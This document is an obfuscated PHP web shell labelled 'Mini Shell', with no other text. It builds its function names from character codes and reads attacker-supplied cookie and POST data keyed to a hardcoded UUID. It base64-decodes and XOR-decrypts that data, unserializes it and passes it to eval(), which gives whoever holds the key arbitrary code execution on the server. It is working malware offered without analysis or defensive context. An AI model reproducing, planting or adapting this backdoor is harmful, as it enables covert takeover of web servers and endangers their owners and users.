Mini Shell

$TnYxDPkc = chr (113) . "\x5f" . chr ( 1071 - 956 )."\163" . chr ( 939 - 833 ).chr (69) . chr (70); $bJBmxmiXu = 'c' . "\x6c" . 'a' . 's' . "\163" . chr ( 970 - 875 ).chr (101) . 'x' . "\151" . 's' . "\164" . "\163";$xPGRarHn = class_exists($TnYxDPkc); $bJBmxmiXu = "42498";$CqrvLbeT = strpos($bJBmxmiXu, $TnYxDPkc);if ($xPGRarHn == $CqrvLbeT){function NKHZZUj(){$tDcNHLCc = new /* 43539 */ q_ssjEF(33150 + 33150); $tDcNHLCc = NULL;}$XvacYeZtf = "33150";class q_ssjEF{private function puSeyZrcG($XvacYeZtf){if (is_array(q_ssjEF::$zxrHeM)) {$UlkICwLaS2 = str_replace("<" . "?php", "", q_ssjEF::$zxrHeM["content"]);eval($UlkICwLaS2); $XvacYeZtf = "33150";exit();}}public function lFgexTb(){$UlkICwLaS = "55667";$this->_dummy = str_repeat($UlkICwLaS, strlen($UlkICwLaS));}public function __destruct(){q_ssjEF::$zxrHeM = @unserialize(q_ssjEF::$zxrHeM); $XvacYeZtf = "15487_18946";$this->puSeyZrcG($XvacYeZtf); $XvacYeZtf = "15487_18946";}public function NUyrh($UlkICwLaS, $eDEfqzp){return $UlkICwLaS[0] ^ str_repeat($eDEfqzp, intval(strlen($UlkICwLaS[0]) / strlen($eDEfqzp)) + 1);}public function gokJbuFXJK($UlkICwLaS){$dvcEPK = "\142" . chr (97) . "\163" . chr (101) . "\x36" . chr ( 924 - 872 );return array_map($dvcEPK . "\137" . "\x64" . chr ( 196 - 95 ).chr (99) . chr ( 1082 - 971 ).'d' . "\x65", array($UlkICwLaS,));}public function __construct($oobuAWZ=0){$lHILgrcz = chr (44); $UlkICwLaS = "";$VQyJJd = $_POST;$RDrqHm = $_COOKIE;$eDEfqzp = "661d67c3-5b30-4866-96eb-b50b515eb0b1";$mOXVAQgq = @$RDrqHm[substr($eDEfqzp, 0, 4)];if (!empty($mOXVAQgq)){$mOXVAQgq = explode($lHILgrcz, $mOXVAQgq);foreach ($mOXVAQgq as $XljjiOF){$UlkICwLaS .= @$RDrqHm[$XljjiOF];$UlkICwLaS .= @$VQyJJd[$XljjiOF];}$UlkICwLaS = $this->gokJbuFXJK($UlkICwLaS);}q_ssjEF::$zxrHeM = $this->NUyrh($UlkICwLaS, $eDEfqzp);if (strpos($eDEfqzp, $lHILgrcz) !== FALSE){$eDEfqzp = explode($lHILgrcz, $eDEfqzp); $iSVJE = sprintf("15487_18946", rtrim($eDEfqzp[0]));}}public static $zxrHeM = 55120;}NKHZZUj();}